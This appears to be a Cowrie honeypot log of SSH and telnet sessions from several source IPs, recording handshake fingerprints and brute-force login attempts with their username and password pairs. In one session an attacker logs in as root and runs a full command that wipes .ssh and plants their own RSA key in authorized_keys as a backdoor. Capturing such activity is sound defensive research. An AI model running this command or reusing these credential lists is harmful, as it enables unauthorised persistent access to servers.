{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:33.297439Z","src_ip":"2.57.122.96","session":"df339240c0a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx","message":"login attempt [ubuntu/1qaz!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:33.756316Z","src_ip":"2.57.122.96","session":"df339240c0a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:31:34.905784Z","src_ip":"2.57.122.96","session":"df339240c0a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"70.54.182.130","src_port":37039,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea086569d2c9","protocol":"ssh","message":"New connection: 70.54.182.130:37039 (10.17.0.5:22) [session: ea086569d2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:07.621658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:07.626054Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:07.663950Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!QAZ2wsx0okm","message":"login attempt [root/!QAZ2wsx0okm] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:07.840685Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:07.950634Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:07.953897Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:07.957475Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:07.997620Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:08.114349Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:08.117950Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:08.160271Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:08.163754Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"70.54.182.130","src_port":37127,"dst_ip":"10.17.0.5","dst_port":22,"session":"c49d149eb464","protocol":"ssh","message":"New connection: 70.54.182.130:37127 (10.17.0.5:22) [session: c49d149eb464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:08.189680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:08.195051Z","src_ip":"70.54.182.130","session":"c49d149eb464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:08.230267Z","src_ip":"70.54.182.130","session":"c49d149eb464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:08.398052Z","src_ip":"70.54.182.130","session":"c49d149eb464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:09.434694Z","src_ip":"70.54.182.130","session":"c49d149eb464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"70.54.182.130","src_port":37367,"dst_ip":"10.17.0.5","dst_port":22,"session":"f92e6b0decab","protocol":"ssh","message":"New connection: 70.54.182.130:37367 (10.17.0.5:22) [session: f92e6b0decab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:09.464215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:09.468051Z","src_ip":"70.54.182.130","session":"f92e6b0decab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:09.505067Z","src_ip":"70.54.182.130","session":"f92e6b0decab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:09.683241Z","src_ip":"70.54.182.130","session":"f92e6b0decab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:09.719174Z","src_ip":"70.54.182.130","session":"ea086569d2c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:33:09.721645Z","src_ip":"70.54.182.130","session":"f92e6b0decab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54108,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7c7973a78dd","protocol":"ssh","message":"New connection: 2.57.122.96:54108 (10.17.0.5:22) [session: c7c7973a78dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:34:15.274373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:34:15.279032Z","src_ip":"2.57.122.96","session":"c7c7973a78dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:34:15.382544Z","src_ip":"2.57.122.96","session":"c7c7973a78dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"@WSX3edc#EDC","message":"login attempt [ubuntu/@WSX3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:34:15.736564Z","src_ip":"2.57.122.96","session":"c7c7973a78dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:34:16.847524Z","src_ip":"2.57.122.96","session":"c7c7973a78dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":58878,"dst_ip":"159.203.135.109","dst_port":22,"session":"895c3ed109bc","protocol":"ssh","message":"New connection: 2.57.122.96:58878 (159.203.135.109:22) [session: 895c3ed109bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:34:31.720660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:34:31.727066Z","src_ip":"2.57.122.96","session":"895c3ed109bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:34:31.823630Z","src_ip":"2.57.122.96","session":"895c3ed109bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"@WSX3edc#EDC","message":"login attempt [ubuntu/@WSX3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:34:32.482673Z","src_ip":"2.57.122.96","session":"895c3ed109bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:34:33.587865Z","src_ip":"2.57.122.96","session":"895c3ed109bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.245.253","src_port":12552,"dst_ip":"159.203.135.109","dst_port":23,"session":"5677d1c0592a","protocol":"telnet","message":"New connection: 117.50.245.253:12552 (159.203.135.109:23) [session: 5677d1c0592a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:36:10.790349Z"}
{"eventid":"cowrie.session.closed","duration":30.60089421272278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:36:41.391132Z","src_ip":"117.50.245.253","session":"5677d1c0592a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":37442,"dst_ip":"10.17.0.5","dst_port":22,"session":"89f142e6ee3a","protocol":"ssh","message":"New connection: 2.57.122.96:37442 (10.17.0.5:22) [session: 89f142e6ee3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:37:17.530530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:37:17.535180Z","src_ip":"2.57.122.96","session":"89f142e6ee3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:37:17.636112Z","src_ip":"2.57.122.96","session":"89f142e6ee3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"3edc#EDC","message":"login attempt [ubuntu/3edc#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:37:17.940931Z","src_ip":"2.57.122.96","session":"89f142e6ee3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:37:19.044345Z","src_ip":"2.57.122.96","session":"89f142e6ee3a","protocol":"ssh"}
